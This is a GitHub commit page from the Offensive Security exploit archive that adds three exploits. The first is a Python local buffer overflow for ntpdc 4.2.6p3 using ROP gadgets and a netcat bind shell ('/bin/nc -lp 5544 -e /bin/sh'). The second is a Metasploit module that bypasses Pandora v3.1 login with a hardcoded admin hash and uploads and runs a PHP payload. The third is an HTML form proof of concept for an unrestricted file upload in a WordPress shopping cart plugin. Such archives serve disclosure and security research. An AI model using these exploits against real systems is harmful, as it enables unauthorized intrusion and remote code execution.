Skip to content

Commit c89fb28

Browse files
author
Offensive Security
committed
Update: 2015-01-10
3 new exploits
1 parent 3210d19 commit c89fb28

4 files changed

Lines changed: 243 additions & 0 deletions

File tree

files.csv

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32188,3 +32188,6 @@ id,file,description,date,author,platform,type,port
3218832188
35727,platforms/php/webapps/35727.txt,"HOMEPIMA Design 'filedown.php' Local File Disclosure Vulnerability",2011-05-09,KnocKout,php,webapps,0
3218932189
35728,platforms/asp/webapps/35728.txt,"Keyfax Customer Response Management 3.2.2.6 Multiple Cross Site Scripting Vulnerabilities",2011-05-09,"Richard Brain",asp,webapps,0
3219032190
35729,platforms/multiple/remote/35729.txt,"Imperva SecureSphere SQL Query Filter Security Bypass Vulnerability",2011-05-09,@drk1wi,multiple,remote,0
32191+
35730,platforms/php/webapps/35730.txt,"WordPress Shopping Cart 3.0.4 - Unrestricted File Upload",2015-01-08,"Kacper Szurek",php,webapps,80
32192+
35731,platforms/php/remote/35731.rb,"Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability",2015-01-08,metasploit,php,remote,80
32193+
35732,platforms/multiple/local/35732.py,"Ntpdc 4.2.6p3 - Local Buffer Overflow",2015-01-08,drone,multiple,local,0

platforms/multiple/local/35732.py

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# Source: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/
2+
3+
from os import system, environ
4+
from struct import pack
5+
import sys
6+
7+
#
8+
# ntpdc 4.2.6p3 bof
9+
# @dronesec
10+
# tested on x86 Ubuntu 12.04.5 LTS
11+
#
12+
13+
IMAGE_BASE = 0x80000000
14+
LD_INITIAL_OFFSET = 8900
15+
LD_TAIL_OFFSET = 1400
16+
17+
sploit = "\x41" * 485 # junk
18+
sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip
19+
sploit += "\x41" * 79 # junk
20+
sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode
21+
22+
ld_pl = ""
23+
ld_pl += pack("<I", 0xeeffffff) # ESI
24+
ld_pl += pack("<I", 0x11366061) # EDI
25+
ld_pl += pack("<I", 0x41414141) # EBP
26+
ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET
27+
ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI
28+
ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong
29+
30+
environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"
31+
32+
for idx in xrange(200):
33+
34+
for inc in xrange(200):
35+
36+
ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx)
37+
ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc)
38+
39+
environ["LD_PRELOAD"] = ld_pl
40+
system("echo %s | ntpdc 2>&1" % sploit)

platforms/php/remote/35731.rb

Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability",
17+
'Description' => %q{
18+
This module exploits an authentication bypass vulnerability in Pandora v3.1 as
19+
disclosed by Juan Galiana Lara. It also integrates with the built-in pandora
20+
upload which allows a user to upload arbitrary files to the '/images/' directory.
21+
22+
This module was created as an exercise in the Metasploit Mastery Class at Blackhat
23+
that was facilitated by egypt and mubix.
24+
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Juan Galiana Lara', # Vulnerability discovery
30+
'Raymond Nunez <rcnunez[at]upd.edu.ph>', # Metasploit module
31+
'Elizabeth Loyola <ecloyola[at]upd.edu.ph>', # Metasploit module
32+
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>', # Metasploit module
33+
'_flood <freshbones[at]gmail.com>', # Metasploit module
34+
'mubix <mubix[at]room362.com>', # Auth bypass and file upload
35+
'egypt <egypt[at]metasploit.com>', # Auth bypass and file upload
36+
],
37+
'References' =>
38+
[
39+
['CVE', '2010-4279'],
40+
['OSVDB', '69549'],
41+
['BID', '45112']
42+
],
43+
'Platform' => 'php',
44+
'Arch' => ARCH_PHP,
45+
'Targets' =>
46+
[
47+
['Automatic Targeting', { 'auto' => true }]
48+
],
49+
'Privileged' => false,
50+
'DisclosureDate' => "Nov 30 2010",
51+
'DefaultTarget' => 0))
52+
53+
register_options(
54+
[
55+
OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']),
56+
], self.class)
57+
end
58+
59+
def check
60+
61+
base = target_uri.path
62+
63+
# retrieve software version from login page
64+
begin
65+
res = send_request_cgi({
66+
'method' => 'GET',
67+
'uri' => normalize_uri(base, 'index.php')
68+
})
69+
if res and res.code == 200
70+
#Tested on v3.1 Build PC100609 and PC100608
71+
if res.body.include?("v3.1 Build PC10060")
72+
return Exploit::CheckCode::Appears
73+
elsif res.body.include?("Pandora")
74+
return Exploit::CheckCode::Detected
75+
end
76+
end
77+
return Exploit::CheckCode::Safe
78+
rescue ::Rex::ConnectionError
79+
vprint_error("#{peer} - Connection failed")
80+
end
81+
return Exploit::CheckCode::Unknown
82+
83+
end
84+
85+
# upload a payload using the pandora built-in file upload
86+
def upload(base, file, cookies)
87+
data = Rex::MIME::Message.new
88+
data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"")
89+
data.add_part("Go", nil, nil, 'form-data; name="go"')
90+
data.add_part("images", nil, nil, 'form-data; name="directory"')
91+
data.add_part("1", nil, nil, 'form-data; name="upload_file"')
92+
data_post = data.to_s
93+
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
94+
95+
res = send_request_cgi({
96+
'method' => 'POST',
97+
'uri' => normalize_uri(base, 'index.php'),
98+
'cookie' => cookies,
99+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
100+
'vars_get' => {
101+
'sec' => 'gsetup',
102+
'sec2' => 'godmode/setup/file_manager',
103+
},
104+
'data' => data_post
105+
})
106+
107+
register_files_for_cleanup(@fname)
108+
return res
109+
end
110+
111+
def exploit
112+
113+
base = target_uri.path
114+
@fname = "#{rand_text_numeric(7)}.php"
115+
cookies = ""
116+
117+
# bypass authentication and get session cookie
118+
res = send_request_cgi({
119+
'method' => 'GET',
120+
'uri' => normalize_uri(base, 'index.php'),
121+
'vars_get' => {
122+
'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3',
123+
'loginhash_user' => 'admin',
124+
'loginhash' => '1',
125+
},
126+
})
127+
128+
# fix if logic
129+
if res and res.code == 200
130+
if res.body.include?("Logout")
131+
cookies = res.get_cookies
132+
print_status("Login Bypass Successful")
133+
print_status("cookie monster = " + cookies)
134+
else
135+
fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed")
136+
end
137+
end
138+
139+
# upload PHP payload to images/[fname]
140+
print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
141+
php = %Q|<?php #{payload.encoded} ?>|
142+
begin
143+
res = upload(base, php, cookies)
144+
rescue ::Rex::ConnectionError
145+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
146+
end
147+
148+
if res and res.code == 200
149+
print_good("#{peer} - File uploaded successfully")
150+
else
151+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
152+
end
153+
154+
# retrieve and execute PHP payload
155+
print_status("#{peer} - Executing payload (images/#{@fname})")
156+
begin
157+
res = send_request_cgi({
158+
'method' => 'GET',
159+
'uri' => normalize_uri(base, 'images', "#{@fname}")
160+
}, 1)
161+
rescue ::Rex::ConnectionError
162+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
163+
end
164+
165+
end
166+
end

platforms/php/webapps/35730.txt

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload
2+
# Date: 29-10-2014
3+
# Software Link: https://wordpress.org/plugins/wp-easycart/
4+
# Exploit Author: Kacper Szurek
5+
# Contact: http://twitter.com/KacperSzurek
6+
# Website: http://security.szurek.pl/
7+
# CVE: CVE-2014-9308
8+
# Category: webapps
9+
10+
1. Description
11+
12+
Any registered user can upload any file because of incorrect if statement inside banneruploaderscript.php
13+
14+
http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html
15+
16+
17+
2. Proof of Concept
18+
19+
Login as regular user (created using wp-login.php?action=register):
20+
21+
<form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
22+
<input type="hidden" name="datemd5" value="1">
23+
<input type="file" name="Filedata">
24+
<input value="Upload!" type="submit">
25+
</form>
26+
27+
File will be visible:
28+
29+
http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension%
30+
31+
3. Solution:
32+
33+
Update to version 3.0.9
34+
https://downloads.wordpress.org/plugin/wp-easycart.3.0.9.zip

0 commit comments

Comments
 (0)